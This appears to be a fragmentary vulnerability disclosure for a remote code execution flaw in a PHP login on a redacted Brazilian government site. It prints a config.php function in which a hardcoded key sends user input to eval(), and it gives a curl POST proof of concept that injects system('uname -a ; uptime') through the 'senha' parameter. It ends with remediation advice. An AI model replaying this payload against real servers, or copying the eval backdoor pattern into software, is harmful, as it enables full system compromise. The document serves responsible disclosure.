eval().
This flaw allows an unauthenticated remote attacker
to execute arbitrary commands at the operating system level,
leading to full system compromise and potentially impacting
the integrity of public sector digital services.
config.php.
The function session() accepts a key-value pair where the
value is executed directly if a specific hardcoded
key is provided.
- function session($key, $value = null)
- {
- if ($value != null) {
- $_SESSION[$key] = $value;
- // [REDACTED]: (not relevant to the RCE)
- }
- if ($key == '[email protected]' && $value != null) {
- eval($value);
- } else {
- return $_SESSION[$key] ?? null;
- }
- }
config.php snippet above, the code lacks input validation or sandboxing. On line [61],
the application checks for a specific identity string, if matched, line [62] executes the $value
variable through eval(), allowing arbitrary code execution.
system() function through the
senha parameter.
Due to the lack of input sanitization before the eval() call,
various execution functions can be leveraged to achieve
Remote Code Execution (RCE). Depending on the server's specific
PHP configuration and enabled functions, the attacker can
successfully utilize methods such as system(), shell_exec(),
passthru(), or exec().
curl -X POST "https://[SUBDOMAIN].[DOMAIN].gov.br/login" \ -H "Host: [SUBDOMAIN].[DOMAIN].gov.br" \ -H "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" \ -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" \ -H "Accept-Language: en-US,en;q=0.5" \ -H "Accept-Encoding: gzip, deflate, br" \ -H "Content-Type: application/x-www-form-urlencoded" \ -H "Origin: https://[SUBDOMAIN].[DOMAIN].gov.br" \ -H "Referer: https://[SUBDOMAIN].[DOMAIN].gov.br/login" \ -H "Connection: keep-alive" \ -b "PHPSESSID=[RANDOM_PHPSESSID]" \ --data "[email protected]&;senha=system('uname -a ; uptime');"
curl command demonstrates the exploitation of the eval() vulnerability.
The payload utilizes a semicolon to terminate any internal logic and force the execution
of the injected PHP system() function. In this specific demonstration, the server is
commanded to return its kernel information and current system uptime, proving full
operating system interaction.
DISCLAIMER: Evidence videos have been redacted to obscure target URLs and sensitive parameters to prevent unauthorized exposure and ensure responsible disclosure.
Video PoC: Remote Code Execution via system()eval() sink in config.php. By injecting OS commands via the senha parameter in a crafted POST request, the exploit bypasses sanitization to grant full system control.
eval() construct should be strictly avoided as it is
inherently insecure for handling dynamic logic. Replace it with a secure switch-case or a whitelist-based mapping to
ensure user input is never executed as code.